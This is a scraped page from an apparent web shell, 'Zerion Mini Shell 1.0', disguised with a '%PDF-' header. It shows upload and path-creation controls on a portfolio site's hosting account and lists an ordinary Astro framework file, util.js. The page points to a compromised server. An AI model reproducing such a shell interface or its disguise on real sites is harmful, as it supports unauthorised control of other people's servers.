%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/www/portfolio/portfolio-rezakurnia/node_modules/astro/dist/core/preview/
Upload File :
Create Path :
Current File : /home2/rezakur1/www/portfolio/portfolio-rezakurnia/node_modules/astro/dist/core/preview/util.js

function getResolvedHostForHttpServer(host) {
  if (host === false) {
    return "localhost";
  } else if (host === true) {
    return void 0;
  } else {
    return host;
  }
}
function stripBase(path, base) {
  if (path === base) {
    return "/";
  }
  const baseWithSlash = base.endsWith("/") ? base : base + "/";
  return path.replace(RegExp("^" + baseWithSlash), "/");
}
export {
  getResolvedHostForHttpServer,
  stripBase
};

Zerion Mini Shell 1.0